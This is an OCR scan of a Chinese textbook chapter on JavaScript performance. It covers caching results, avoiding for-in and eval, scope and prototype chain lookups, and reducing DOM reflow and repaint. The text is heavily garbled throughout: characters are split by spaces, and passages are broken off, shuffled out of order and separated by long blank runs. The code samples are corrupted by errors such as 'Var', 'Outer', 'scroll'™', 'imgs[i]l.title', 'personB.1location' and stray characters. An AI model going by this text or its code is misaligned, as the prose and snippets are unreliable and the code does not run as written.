然后 再 次 使 
差 ， 在 Firefox 济 

















览 器 中 方式 3 的 性 能 最 差 。 





相同 的 测试 环境 测试 ， 结 果 发 现 ， 在 Chrome 和 IE 浏览 器 中 ， 方 式 3 的 性 能 最 好 ， 方 式 1 的 性 能 最 

































































。 但 是 在 Safari 和 Firefox 浏 览 器 中 ， 方 式 1 的 性 能 最 好 ，Safari 浏 览 器 中 方式 2 的 性 能 最 

















从 以 上 的 测试 可 以 看 出 ， 很 难得 出 哪 种 字符 串 拼接 方式 是 最 优 的 ， 不 同 的 浏览 器 有 不 同 的 算法 ， 因 此 ， 对 这 种 类 似 的 性 能 表现 不 一 的 编码 方式 ， 应 该 忽略 性 能 的 差异 并 选择 自己 惯 于 使 用 的 方式 。 但 有 
些 编码 的 方式 的 确 是 在 所 有 的 浏览 器 中 性 能 表现 很 差 ， 在 编码 过 程 中 应 该 避免 使 用 这 些 性 能 低下 的 编码 方式 。 
可 能 这 些 差异 并 不 能 对 整个 的 逻辑 造成 多 大 的 影响 ， 但 积 少 成 多 ， 如 果 这 些 性 能 稍 差 的 逻辑 放置 在 一 个 大 循环 中 或 者 在 逻辑 中 多 次 调用 ， 对 性 能 的 影响 也 是 不 小 的 。 因 此 ， 应 养 成 一 个 良好 的 编码 习 



































































































































惯 ， 避 免 使 
分 支 中 创建 只 在 分 支 中 才 需 要 用 到 的 对 象 、 使 用 直接 量 代 蔡 对 象 (如 在 Javascript 中 之 间 使 
象 ) 、 缓 存 计算 结果 减少 重复 计算 等 。 尤 其 是 缓存 计算 结果 ， 如 果 计 算 过 程 比较 耗 时 ， 并 且 计 














数值 、 字 符 串 、 布 尔 值 这 三 个 原始 类 型 而 不 是 通过 使 
































算 结果 不 会 改变 


， 则 缓存 计算 结果 可 以 大 大 提高 





function getScrollbarWidth() { 

if (!scheduler.scroll width) { 
Var outer = document.createElement ("div"); 
outer.style.visibility = "hidden"; 
outer.style.width = "100px"; 
document .body.appendChild (outer); 
Var widthNoScroll = outer.offsetWidth; 
// 强制 显示 滚动 条 
Outer .style.overflow = "scroll"™"; 
// 添加 一 个 div 
Var inner = document.createElement ("div"); 
inner.style.width = "100%"; 
outer.appendChild (inner); 
Var widthWithScroll = inner.offsetWidth; 
// 删除 div 
outer .parentNode.removeChild (outer); 
scheduler.scroll width = widthNoScroll - widthWithScroll; 


return scheduler.scroll width; 


高 性 能 ， 如 下 是 一 个 缓存 浏览 











在 上 例 中 , 为 了 计 
值 ， 所 以 很 有 必要 缓存 这 样 的 计算 值 。 














算 滚动 条 的 宽度 ， 需 要 动态 插入 一 个 元 素 在 页 面 中 ， 并 在 计算 完成 后 移 除 此 元 素 。 


那些 性 能 差 的 编码 方式 ， 提 高 代码 的 运行 速度 。 有 些 好 的 编码 习惯 不 仅 针 对 JavaScript， 在 其 他 语言 中 也 是 有 效 的 ， 比 如 让 套 循环 时 把 大 循环 作为 内 循环 、 尽 量 避 免 循 环 内 定义 变量 








、 在 条 件 


对 应 的 Number、String、Boolean 构 造 函数 创建 复杂 对 





滚动 条 宽度 的 示例 。 











因为 这 个 过 程 的 性 能 消耗 比 起 一 般 的 运算 逻辑 要 大 很 多 ， 并 且 





除了 以 上 这 些 和 其 他 语言 类 似 的 性 能 提高 方式 ， 还 有 一 些 最 佳 实践 则 是 针对 JavaScript 的 ， 如 下 。 












































(1) 少 用 for-in 循 环 
for-in 循 环 提供 了 一 种 遍历 对 象 属性 的 能 力 ， 但 它 的 性 能 很 差 ， 应 尽量 使 用 for 循 环 代替 。 




















function clone(obj) { 
if (null == obj || "object" != typeof obj) return obj; 
Var copy = obj.constructor(); 
for (var attr in obj) { 
if (obj.hasOwnProperty(attr)) Copy[attr] = obj[attr]; 


return copy; 


} 





但 其 实 这 是 一 个 不 好 的 做 法 ， 如 果 有 大 量 的 克隆 操作 ， 性 能 损耗 是 很 大 的 。 最 佳 





function clone (obj) { 
if (null == obj || "object" != typeof obj) return obj; 
Var copy = obj.constructor(); 
Copy.foo = obj.foo; 
copy.bar = obj.bar; 
return copy; 


3 


















































另外 ， 很 多 


的 做 法 是 在 clone 函 数 中 明确 复制 每 个 








发 者 把 for-in 用 于 对 象 的 克隆 ， 一 个 类 似 的 示例 如 下 : 





属性 ， 代 码 类 似 如 下 : 













































































































































































在 相同 的 环境 中 滚动 条 的 宽度 是 定 


对 象 。 


(2) 谨慎 使 用 eval 
在 JavaScript 中 ，eval 一 直 有 不 太 好 的 “形象 ”， 主 要 的 批判 点 是 性 能 。 使 用 eval 时 ， 其 中 的 代码 并 不 能 经 过 浏览 器 的 优化 ， 浏 览 器 只 会 优化 那些 可 以 预测 和 稳定 的 代码 ， 而 传 入 eval 的 代码 带 有 很 大 的 
不 可 确定 性 ， 浏 览 器 会 以 最 慢 的 方式 运行 。 但 其 实 ， 性 能 问题 并 不 是 eval 被 诉 病 的 主要 原因 ， 还 在 于 使 用 eval 会 带 来 可 维护 性 和 安全 性 上 的 问题 ， 上 一 章 已 详细 地 讨论 过 eval 带 来 的 维护 性 问题 ， 在 下 一 
章 讨 论 JavaScript 安 全 性 时 将 讨论 eval 的 安全 性 问题 。 
(3) 正确 使 用 数组 
开发 者 在 很 多 情况 下 会 混用 对 象 和 数组 ， 实 际 上 ， 在 索引 时 ， 一 个 混合 了 多 种 类 型 的 数组 将 比 类 型 单一 的 数组 慢 很 多 。 因 此 ， 应 使 用 数组 保存 类 型 单一 的 数据 ， 而 在 其 他 情况 下 使 
(4) 正确 的 内 存 回 收 
很 多 开发 者 认为 使 用 delete 关 键 字 删 除 属 性 可 以 让 对 应 的 对 象 销毁 ， 对 象 “ 垃 圾 ”得 到 回收 。 使 用 的 方式 类 似 如 下 : 
和 ee。 /出 者 村 条 性 
但 在 Chrome 浏 览 器 的 Javascript 解 析 引 警 中， 也许 并 不 能 通过 如 上 的 方式 释放 内 存 。 相 反 ， 使 用 delete 可 能 会 影响 引擎 的 性 能 优化 。 在 Chrome 浏 览 器 ，Javascript 引 






































化 。 如 果 使 











delete 关 键 字 改 变 了 对 象 的 结构 ， 则 优化 会 失效 。 浏 览 





日 


收 “垃圾 ”的 原则 是 





回 








收 那些 不 再 访问 的 对 象 ， 在 代码 中 正确 的 做 法 是 尽量 释放 不 需要 的 对 象 ， 








擎 会 检测 热 对 象 并 进行 性 能 

















体 的 方式 如 下 : 








“ 尽量 不 使 用 全 局 变量 ， 因 为 全 局 变量 在 页 面 的 整个 生命 周期 中 不 会 被 回收 。 


“ 确保 解除 已 经 不 需要 的 事件 监听 ， 如 那些 要 移 除 的 DOM 对 象 上 绑 定 的 事件 。 


: 不 要 在 闭 包 中 返回 外 部 不 需要 的 对 象 。 














以 上 讨论 的 这 些 都 是 较 基础 的 性 能 最 佳 实践 方法 ， 在 接 下 来 的 两 个 章节 中 将 详细 讨论 其 他 提高 性 能 的 最 佳 实践 方式 ， 因 为 这 些 实践 方式 涉及 JavaScript 运 行 原理 ， 需 要 详细 的 解释 说 明 ， 所 以 将 其 放 到 
了 单独 的 章节 中 讨论 。 





10.3 ”使 用 高 性 能 的 变量 或 属性 值 读 取 方 式 









































在 JavaScript 中 作用 域 是 一 个 很 重要 的 概念 。 由 于 在 JavaScript 中 没有 块 作用 域 的 概念 ， 因 此 和 作用 域 相 关 的 另外 一 个 概念 是 作用 域 链 。JavaScript 中 的 作用 域 和 作用 域 链 关系 到 代码 执行 的 性 能 ， 要 理 
解 这 样 的 关系 就 必须 要 理解 作用 域 的 工作 原理 。 




































































































































































这 里 简单 地 介绍 一 下 其 工作 原理 。 作 用 域 就 是 变量 或 函数 的 作用 范围 ，Java-Script 中 最 大 的 作用 域 就 是 全 局 作用 域 ， 比 如 ， 全 局 的 变量 在 运行 环境 的 任何 地 方 都 可 以 访问 到 。Javascript 中 不 存在 块 作 
域 ， 即 一 个 大 括号 包含 的 区 域 不 会 成 为 一 个 单独 的 作用 域 ， 最 小 的 作用 域 是 函数 。 在 一 个 函数 中 定义 的 变量 可 以 在 这 个 函数 的 内 部 访问 ， 包 括 函数 内 部 定义 的 函数 ， 这 就 意味 着 一 个 函数 不 仅 可 以 访问 自 
己 内 部 定义 的 变量 ， 也 可 以 访问 到 其 外 部 函数 或 全 局 定义 的 变量 。 多 个 函数 庶 套 定义 时 ， 就 会 形成 作用 域 包 含 的 关系 ， 这 个 关系 称 为 作用 域 链 。 一 个 函数 调用 时 ， 它 的 作用 域 链 就 会 随 之 初始 化 。 在 一 个 函 
数 内 访问 的 变量 ， 可 能 定义 在 从 此 函数 的 作用 域 起 始 的 任何 外 部 作用 域 上 。 若 函数 在 运行 过 程 中 遇 到 一 个 变量 ， 就 会 判定 从 哪里 取得 数据 值 ， 在 这 个 过 程 中 ， 会 顺 着 作用 域 链 查 找 此 名 称 的 标识 符 ， 该 搜索 
会 从 最 近 的 作用 域 开 始 ， 如 果 找 到 了 就 使 用 这 个 变量 ， 如 果 没 有 找到 则 会 进入 外 层 的 作用 域 链 中 ， 如 此 反复 ， 直 到 找到 了 此 变量 的 定义 ， 或 者 未 找到 而 判定 变量 未 定义 为 止 。 如 下 是 一 个 常见 的 访问 外 部 作 
域 变量 的 示例 。 



























































































































































































































































function update (){ 
Var imgs = document.getElementsByTagName ("img"); 
for (var i=0, len=imgs.length; i < len; i++){ 
imgs[i].title = document.title + " - imge - "+i; 
} 
} 





此 函数 运行 时 ， 要 解析 document 变 量 ， 于 是 它 先 在 函数 局 部 查找 ， 然 后 在 外 部 作用 域 查 找 ， 直 到 在 全 局 作用 域 中 查找 到 了 document 定 义 为 止 。 这 种 变量 定义 的 查找 会 影响 代码 运行 的 性 能 ， 一 个 变 
量 在 作用 域 链 上 查找 的 层级 越 多 则 读 取 的 速度 就 越 慢 ， 因 此 ， 函 数 中 局 部 变量 的 访问 是 最 快 的 ， 因 为 它 是 处 在 作用 域 链 的 最 里 层 ， 而 全 局 变量 访问 是 最 慢 的 ， 因 为 它 是 处 在 作用 域 链 的 最 外 层 。 有 些 浏览 器 
针对 变量 的 读 取 做 了 性 能 优化 ， 使 得 访问 外 部 作用 域 的 变量 并 没有 性 能 的 损失 ， 但 并 不 是 所 有 的 浏览 器 都 有 这 样 的 优化 。 因 此 ， 为 了 提高 变量 的 读 取 性 能 ， 最 佳 的 实践 是 尽量 减少 变量 访问 时 在 作用 域 链 上 
查找 的 层级 ， 最 好 是 将 变量 定义 为 本 作用 域 的 局 部 变量 ， 尽 量 不 要 定义 全 局 变量 。 如 果 需 要 频繁 地 访问 一 个 外 作用 域 的 变量 ， 最 好 是 用 一 个 局 部 变量 保存 外 部 变量 ， 把 多 次 的 外 部 作用 域 变 量 访问 变 为 一 次 
外 部 作用 域 变量 的 访问 。 上 面 的 例子 中 使 用 了 多 次 相同 的 外 部 域 变量 ， 可 以 使 用 如 下 方式 改写 。 















































































































































































































































































































































function update (){ 
Var doc = document; 
Var imgs = doc.getElementsByTagName ("img"); 
for (var i=0, len=imgs.length; i < len; i++){ 
imgs[i]l.title = doc.title + " - imge - "+i; 
k 
} 


















































上 述 代 码 使 用 局 部 变量 doc 保 存 了 全 局 变量 document， 避 免 了 多 次 的 跨 作 用 域 查询 。 












































with 表 达 式 不 仅 会 让 代码 的 维护 性 变 差 ， 而 且 也 会 影响 性 能 ， 原 因 是 with 表 达 式 的 使 用 也 会 形成 一 个 作用 域 ， 无 形 中 改变 了 上 下 文 作用 域 链 




















3 外 一 个 和 作用 域 相关 的 性 能 损耗 是 with 语句 的 使 用 。 使 
的 深度 。 从 性 能 上 考虑 ， 也 不 推荐 使 用 with。 




























































































try-catch 表 达 式 的 catch 块 中 也 会 产生 一 个 作用 域 ， 访 问 外 部 变量 时 也 会 有 性 能 的 影响 。 但 是 很 多 时 候 使 用 try-catch 表 达 式 并 不 能 避免 ， 因 此 ， 最 好 将 catch 块 中 的 处 理 交 给 一 个 函数 ， 避 免 了 在 内 部 访 
问 外 部 域 的 变量 ， 正 确 使 用 try-catch 表 达 式 的 示例 代码 如 下 。 


















































try { 
// 业务 逻辑 
} catch (ex) { 
errorHandler (ex); 


} 

















对 象 上 的 属性 值 读 取 也 存在 和 变量 读 取 时 类 似 的 性 能 影响 ， 读 取 对 象 上 的 属性 值 时 会 搜索 对 象 的 原型 链 。 这 里 简单 介绍 一 下 原型 。 原 型 是 JavaScript 中 的 一 个 重要 概念 ， 是 在 JavaScript 中 实现 的 一 种 特 
殊 的 继承 机 制 ， 有 别 于 传统 的 类 继承 机 制 ， 因 为 在 JavaScript 中 并 没有 类 的 概念 。 在 JavaScript 中 ， 对 象 的 构造 函数 中 有 一 个 名 为 prototype 的 对 象 ， 即 为 原型 对 象 ， 这 个 对 象 上 的 属性 或 方法 是 共享 给 所 有 
实例 对 象 的 。 所 以 说 ， 实 例 对 象 上 的 属性 和 方法 来 自 于 两 个 地 方 : 自身 和 对 应 的 原型 对 象 。 因 为 原型 对 象 本 身 也 可 以 是 其 他 构造 函数 的 实例 对 象 ， 所 以 原型 对 象 中 的 属性 和 方法 也 可 能 来 自 于 其 作为 实例 对 
象 时 对 应 的 原型 对 象 上 。 这 就 形成 了 一 个 由 各 原型 对 象 组 成 的 链条 ， 称 为 原型 链 。 原 型 链 的 最 顶端 是 构造 函数 Object 中 名 为 prototype 的 对 象 。 查 找 对 象 上 的 属性 或 方法 时 ， 首 先 会 查找 自身 是 否 存在 此 属 
性 或 方法 ， 如 果 未 找到 ， 则 会 继续 在 原型 链 上 查找 ， 直 到 找到 或 者 未 找到 返回 undefined 值 为 止 。 如 下 是 一 个 原型 的 示例 。 




























































































function Person (name){ 
this.name = name; 
} 
Person.prototype = { location : 'china' }; 
Var personA = new Person('namel'); 
Var personB = new Person('name2'); 
alert (personA.location); // china 
alert (personB.1location); // china 


























和 在 作用 域 链 上 检索 变量 定义 类 似 ， 在 原型 链 上 检索 对 象 属性 或 方法 也 会 影响 性 能 ， 在 原型 链 上 检索 的 层级 越 多 ， 性 能 越 差 ， 即 使 是 读 取 在 对 象 上 直接 定义 的 属性 也 比 读 取 局 部 变量 慢 。 因 此 ， 如 果 在 
代码 中 要 频繁 取得 某 个 对 象 的 属性 值 ， 尤 其 是 此 属性 来 自 于 对 象 的 原型 对 象 上 时 ， 最 佳 的 做 法 是 把 属性 值 缓存 在 局 部 变量 中 ， 提 高 读 取 对 象 属性 的 性 能 。 例 如 ， 下 面 的 代码 : 















































for (var i = 0; i < numbers.length; i++) { 
numbers[i] *= 27 
} 


























在 整个 循环 过 程 中 ， 会 反复 读 取 numbers 的 length 属 性 值 ， 性 能 改进 的 方案 是 使 用 一 个 局 部 变量 缓存 此 属性 值 ， 修 改 代码 如 下 : 

















for (var i = 0, len = numbers.length; i < len; i++) { 
numbers[i] *= 2; 
} 























总 结 以 上 的 讨论 ， 变 量 和 对 象 属性 或 方法 的 读 取 会 影响 性 能 ， 尽 量 要 将 外 作用 域 的 变量 或 对 象 上 的 属性 值 缓存 在 局 部 变量 中 ， 以 提高 读 取 性 能 。 











10.4 高 效 的 DOM 操 作 
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文档 对 象 模型 (DOM) 是 一 个 独立 于 特定 语言 的 应 用 程序 接口 。 在 浏览 器 中 ，DOM 接 口 是 以 JavaScript 语 言 实现 的 ， 通 过 JavaScript 来 操作 浏览 器 页 面 中 的 元 素 ， 这 使 得 DOM 成 为 了 JavaScript 中 名 
要 的 组 成 部 分 。 在 富 客户 端 网 页 应 用 中 ， 界 面 上 UI 的 更 改 都 是 通过 DOM 操 作 实现 的 ， 并 不 是 通过 传统 的 刷新 页 面 实现 的 。 尽 管 DOM 提 供 了 丰富 接口 供 外 部 调用 ,但 DOM 操 作 的 代价 很 高 ， 页 面前 端 代 码 
的 性 能 瓶颈 也 大 多 集中 在 DOM 操 作 上 ， 前 端 性 能 优化 的 一 个 主要 的 关注 点 就 是 DOM 操 作 的 优化 。DOM 操 作 优化 的 总 体 原 则 是 尽量 减少 DOM 操 作 。 
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在 讨论 DOM 操 作 的 最 佳 性 能 实践 之 前 ， 先 来 看 看 DOM 操 作为 什么 会 影响 性 能 。 在 浏览 器 中 ，DOM 的 实现 和 ECMAscript 的 实现 是 分 离 的 。 例 如 ， 在 IE 中 ，ECMAScript 的 实现 在 jscript.dll 中 ， 而 DOM 
的 实现 在 mshtml.dll 中 ; 在 Chrome 中 ， 使 用 WebKit 中 的 WebCore 处 理 DOM 和 泻 染 ， 但 ECMAScript 是 在 V8 引擎 中 实现 的 ， 其 他 浏览 器 的 情况 类 似 。 通 过 JavaScript 代 码 调 用 DOM 接 口 ， 相 当 于 两 个 独立 
模块 的 交互 。 相 比较 在 同一 模块 中 的 调用 ， 这 种 跨 模块 的 调用 其 性 能 损耗 是 很 高 的 。 但 DOM 操 作对 性 能 影响 最 大 其 实 还 是 因为 它 导 致 了 浏览 器 的 重 绘 (repaint) 和 重 排 (reflow) 。 










































































为 了 让 读者 能 更 深刻 地 理解 重 绘 和 重 排 对 性 能 的 影响 ， 这 里 需要 简单 叙述 一 下 浏览 器 的 渲染 原理 。 从 下 载 文档 到 渲染 页 面 的 过 程 中 ， 浏 览 器 会 通过 解析 HTML 文 档 来 构建 DOM 树 ， 解 析 CSSs 产 生 CSS 规 
则 树 。Javascript 代 码 在 解析 过 程 中 ， 可 能 会 修改 生成 的 DOM 树 和 CSs 规 则 树 。 之 后 根据 DOM 树 和 CSS 规 则 树 构建 泻 染 树 ， 在 这 个 过 程 中 ，CSS 会 根据 选择 器 匹配 HTML 元 素 。 泻 染 树 包括 了 每 个 元 素 的 大 
小 、 边 距 等 样式 属性 ， 演 染 树 中 不 包含 隐藏 元 素 及 head 元 素 等 不 可 见 元 素 。 最 后 浏览 器 根据 元 素 的 坐标 和 大 小 来 计算 每 个 元 素 的 位 置 ， 并 绘制 这 些 元 素 到 页 面 上 。 重 绘 指 的 是 页 面 的 某 些 部 分 要 重新 绘制 ， 
比如 颜色 或 背景 色 的 修改 ,元素 的 位 置 和 尺寸 并 没有 改变 ， 重 排 则 是 元 素 的 位 置 或 尺寸 发 生 了 改变 ， 浏 览 器 需要 重新 计算 泻 染 树 ， 导 致 泻 染 树 的 一 部 分 或 全 部 发 生变 化 。 泻 染 树 重新 建立 后 ， 浏 览 器 会 重新 
绘制 页 面 上 受 影响 的 元 素 。 重 排 的 代价 比重 绘 的 代价 高 很 多 ， 重 绘 会 影响 部 分 的 元 素 ， 而 重 排 则 有 可 能 影响 全 部 的 元 素 。 如 下 的 这 些 DOM 操 作 会 导致 重 绘 或 重 排 。 




























































































































































































“ 增加 、 删 除 和 修改 可 见 DOM 元 素 。 





:页面 初始 化 的 泻 染 。 


:移动 DOM 元 素 。 


' 修改 CSS 样 式 ， 改 变 DOM 元 素 的 尺寸 。 


: DOM 元 素 内 容 改 变 ， 使 得 尺寸 被 撑 大 。 


“ 浏览 器 窗口 尺寸 改变 。 


“ 浏览 器 窗口 滚动 。 






































可 以 看 出 ， 这 些 操 作 都 是 DOM 操 作 中 比较 常见 的 。 现 代 浏 览 器 会 针对 重 排 或 重 绘 做 性 能 优化 ， 如 把 DOM 操 作 积 累 一 批 后 统一 做 一 次 重 排 或 重 绘 。 但 在 有 些 情 况 下 ， 浏 览 器 会 立即 重 排 或 重 绘 。 例 如 ， 
请 求 下 面 的 DOM 元 素 布局 信息 : offsetTop/Left/Width/Height、scrollTop/Left/Width/Height、clientTop/Left/Width/Height、getComputedStyle () 或 currentStyle。 因 为 这 些 值 都 是 动态 计算 
的 ， 所 以 浏览 器 需要 尽快 完成 页 面 的 绘制 ， 然 后 计算 返回 值 ， 从 而 打 乱 了 重 排 或 重 绘 的 优化 。 




















































































































DOM 操 作 带 来 的 页 面 重 绘 或 重 排 是 不 可 避免 的 ， 但 可 以 遵循 一 些 最 佳 实践 来 降低 由 于 重 排 或 重 绘 带 来 的 影响 。 如 下 是 一 些 具体 的 实践 方法 。 
































1. 合 并 多 次 的 DOM 操 作为 单 次 的 DOM 操 作 


最 常见 频繁 进行 DOM 操 作 的 是 频繁 修改 DOM 元 素 的 样式 ， 代 码 类 似 如 下 。 


element .style.borderColor = '#f£00'; 
element .style.borderStyle = 'solid'; 
element .style.borderWidth = '1Px'7 




















这 种 编码 方式 会 因为 频繁 更 改 DOM 元 素 的 样式 ， 触 发 页 面 多 次 的 重 排 或 重 绘 ， 上 面 介 绍 过 ， 现 代 浏览 器 针对 这 种 情况 有 性 能 的 优化 ， 它 会 合并 DOM 操 作 ， 但 并 不 是 所 有 的 浏览 器 都 存在 这 样 的 优化 。 
推荐 的 方式 是 把 DOM 操 作 尽 量 合并 ， 如 上 的 代码 可 以 优化 为 : 
































// 优化 方案 1 
element. style.cssText += 'border: lpx solid #f00;'; 
// 优化 方案 2 


element .className += 'empty'; 














上 述 示例 的 代码 有 两 种 优化 的 方案 ， 都 做 到 了 把 多 次 的 样式 设置 合并 为 一 次 设置 。 优 化 方案 2 比 优化 方案 1 稍微 有 一 些 性 能 上 的 损耗 ， 因 为 它 需要 查询 CSS 类 。 但 优化 方案 2 的 维护 性 最 好 ， 这 在 上 一 章 曾 
经 讨论 过 。 很 多 时 候 ， 如 果 性 能 问题 并 不 突出 ， 选 择 编码 方案 时 需要 优先 考虑 的 是 代码 的 维护 性 。 


























类 似 的 操作 还 有 通过 innerHTML 接 口 修改 DOM 元 素 的 内 容 。 不 要 直接 通过 此 接口 来 拼接 HTML 代 码 ， 而 是 以 字符 串 方式 拼接 好 代码 后 ， 一 次 性 赋值 给 DOM 元 素 的 innerHTMI 接 口 。 
































2 把 DOM 元 素 离线 或 隐藏 后 修改 





















































把 DOM 元 素 从 页 面 流 中 脱离 或 隐藏 ， 这 样 处 理 后 ， 只 会 在 DOM 元 素 脱离 和 添加 时 ， 或 者 是 隐藏 和 显示 时 才 会 造成 页 面 的 重 绘 或 重 排 ， 对 脱离 了 页 面 布 局 流 的 DOM 元 素 操 作 就 不 会 导致 页 面 的 性 能 问 
题 。 这 种 方式 适合 那些 需要 大 批量 修改 DOM 元 素 的 情况 ， 具 体 的 方式 主要 有 以 下 3 种 。 






































(1) 使 用 文档 片段 














文档 片段 是 一 个 轻 量 级 的 document 对 象 ， 并 不 会 和 特定 的 页 面 关 联 。 通 过 在 文档 片段 上 进行 DOM 操 作 ， 可 以 降低 DOM 操 作对 页 面 性 能 的 影响 ， 这 种 方式 是 创建 一 个 文档 片段 ， 并 在 此 片段 上 进行 必 
要 的 DOM 操 作 ， 操 作 完成 后 将 它 附 加 在 页 面 中 。 对 页 面 性 能 的 影响 只 存在 于 最 后 把 文档 片段 附加 到 页 面 的 这 一 步 操作 上 。 代 码 类 似 如 下 : 


























Var fragment = document .createDocumentFragment (); 

// 大 量 基于 fragment 的 DOM 操 作 

http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
document .getElementById('myElement') .appendChild (fragment); 











(2) 通过 设置 DOM 元 素 的 display 样 式 为 none 来 隐藏 元 素 

















这 种 方式 是 通过 隐藏 页 面 的 DOM 元 素 ， 达 到 在 页 面 中 移 除 元 素 的 效果 ， 经 过 大 量 的 DOM 操 作 后 恢复 元 素 原来 的 display 样 式 。 对 于 这 类 会 引起 页 面 重 绘 或 重 排 的 操作 ， 就 只 有 隐藏 和 显示 DOM 元 素 这 
两 个 步骤 了 。 代 码 类 似 如 下 : 





























Var myElement = document .getElementById('myElement'); 
myElement.style.display = 'none'; 
// 一 些 基 于 myElement 的 DOM 操 作 


http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
myElement .style.display = 'block'; 





(3) 克隆 DOM 元 素 到 内 存 中 


























这 种 方式 是 把 页 面 上 的 DOM 元 素 克 隆 一 份 到 内 存 中 ， 然 后 再 在 内 存 中 操作 克隆 的 元 素 ， 操 作 完成 后 使 用 此 克隆 元 素 蔡 换 页 面 中 原来 的 DOM 元 素 。 这 样 一 来 ， 影 响 性 能 的 操作 就 只 是 最 后 替换 元 素 的 这 
一 步 操作 了 ， 在 内 存 中 操作 克隆 元 素 不 会 引起 页 面 上 的 性 能 损耗 。 代 码 类 似 如 下 : 

















Var old = document .getElementById('myElement'); 

var clone = old.cloneNode (true); 

// 一 些 基于 clone 的 DOM 操 作 

http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
old.parentNode.replaceChild(clone, old); 加 


























在 现代 的 浏览 器 中 ， 因 为 有 了 DOM 操 作 的 优化 ， 所 以 应 用 如 上 的 方式 后 可 能 并 不 能 明显 感受 到 性 能 的 改善 。 但 是 在 仍然 占有 市 场 的 一 些 旧 浏览 器 中 ， 应 用 以 上 这 3 种 编码 方式 则 可 以 大 幅 提 高 页 面 泻 染 















































3. 设 置 具 有 动画 效果 的 DOM 元 素 的 position 属 性 为 fixed 或 absolute 

































































把 页 面 中 具有 动画 效果 的 元 素 设置 为 绝对 定位 ， 使 得 元 素 脱离 页 面 布 局 流 ， 从 而 避免 了 页 面 频繁 的 重 排 ， 只 涉及 动画 元 素 自身 的 重 排 了 。 这 种 做 法 可 以 提高 动画 效果 的 展示 性 能 。 如 果 把 动画 元 素 设 
为 绝对 定位 并 不 符合 设计 的 要 求 ， 则 可 以 在 动画 开始 时 将 其 设置 为 绝对 定位 ， 等 动画 结束 后 恢复 原始 的 定位 设置 。 在 很 多 的 网 站 中 ， 页 面 的 顶部 会 有 大 幅 的 广告 展示 ， 一 般 会 动画 展开 和 折 睾 显示。 如果 不 
做 性 能 的 优化 ， 这 个 效果 的 性 能 损耗 是 很 明显 的 。 使 用 这 里 提 到 的 优化 方案 ， 则 可 以 提高 性 能 。 















































4. 谨 慎 取 得 DOM 元 素 的 布局 信息 
































前 面 讨论 过 ， 获 取 DOM 的 布局 信息 会 有 性 能 的 损耗 ， 如 果 存 在 重复 调用 ， 最 佳 的 做 法 是 尽量 把 这 些 值 缓存 在 局 部 变量 中 。 考 虑 如 下 的 一 个 示例 : 

















加 

















for (var i=0; i < len; i++) { 
myElements[i] .style.top = targetElement.offsetTop + i*5 + 'px'; 
} 














如 上 的 代码 中 ， 会 在 一 个 循环 中 反复 取得 一 个 元 素 的 offsetTop 值 ， 事 实 上 ， 在 此 代码 中 该 元 素 的 offsetTop 值 并 不 会 变更 ， 会 存在 不 必要 的 性 能 损耗 。 优 化 的 方案 是 在 循环 外 部 取得 元 素 的 offsetTop 
值 ， 相 比较 之 前 的 方案 ， 此 方案 只 是 调用 了 一 人 遍 元 素 的 offsetTop 值 。 更 改 后 的 代码 如 下 : 





























Var targetTop = targetElement .offsetTop7 

for (var i=0; i < len; i++) { 
myElements[i].style.top = 上 targetTop+ i*5 + 'px'; 

} 











另外 ， 因 为 取得 DOM 元 素 的 布局 信息 会 强制 浏览 器 刷新 泻 染 树 ， 并 且 可 能 会 导致 页 面 的 重 绘 或 重 排 ， 所 以 在 有 大 批量 DOM 操 作 时 ， 应 避免 获取 DOM 元 素 的 布局 信息 ， 使 得 浏览 器 针对 大 批量 DOM 操 
作 的 优化 不 被 破坏 。 如 果 需 要 这 些 布局 信息 ， 最 好 是 在 DOM 操 作 之 前 就 取得 。 考 虑 如 下 一 个 示例 : 









































Var newWidth = divil.offsetWidth + 10; 

divl.style.width = newWidth + 'px" 

var newHeight = myElement. offsetHeight 十 10; // 强制 页 面 重 排 
myElement .style.height = newHeight + 'px'; // 又 会 重 排 一 次 

















根据 上 面 的 介绍 ， 代 码 在 遇 到 取得 DOM 元 素 的 信息 时 会 触发 页 面 重 新 计算 演 染 树 ， 如 上 的 代码 会 导致 页 面 重 排 两 次 ， 如 果 把 取得 DOM 元 素 的 布局 信息 提前 ， 因 为 浏览 器 会 优化 连续 的 DOM 操 作 ， 所 
以 实际 上 只 会 有 一 次 的 页 面 重 排出 现 ， 优 化 后 的 代码 如 下 : 


























Var newWidth = divl.offsetWidth + 10; 

Var newHeight = myElement .offsetHeight + 10; 
divl.style.width = newWidth + 'px'; 
myElement .style.height = newHeight + 'px'; 











5. 使 用 事件 托管 方式 绑 定 事件 












































在 DOM 元 素 上 绑 定 事件 会 影响 页 面 的 性 能 ， 一 方面 ， 绑 定 事件 本 身 会 占用 处 理 时 间 ， 另 一 方面 ， 浏 览 器 保存 事件 绑 定 ， 绑 定 事件 也 会 占用 内 存 。 页 面 中 元 素 绑 定 的 事件 越 多 ， 占 用 的 处 理 时 间 和 内 存 就 
越 大 ， 性 能 也 就 相对 越 差 ， 因 此 ， 在 页 面 中 绑 定 的 事件 越 少 越 好 。 一 个 优雅 的 手段 是 使 用 事件 托管 方式 ， 即 利用 事件 冒 泡 机 制 ， 只 在 父 元 素 上 绑 定 事件 处 理 ， 用 于 处 理 所 有 子 元 素 的 事件 ， 在 事件 处 理 函 数 
中 根据 传 入 的 参数 判断 事件 源 元 素 ， 针 对 不 同 的 源 元 素 做 不 同 的 处 理 。 这 样 就 不 需要 给 每 个 子 元 素 都 绑 定 事件 了 ， 管 理 的 事件 绑 定数 量变 少 了 ， 自 然 性 能 也 就 提高 了 。 这 种 方式 也 有 很 大 的 灵活 性 ， 可 以 很 
方便 地 添加 或 删除 子 元 素 ， 不 需要 考虑 因 元 素 移 除 或 改动 而 需要 修改 事件 绑 定 。 示 例 代 码 如 下 : 














































































































































































































// 获取 父 节点 ， 并 添加 一 个 click 事 件 
document tElementById('list') .addEventListener ("click", function(e) { 
/7 检查 末 件 源 元 素 
if(e.target && e.target.nodeName.toUpperCase == "LI") { 
// 针对 子 元 素 的 处 理 
http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... 
k 
DD); 











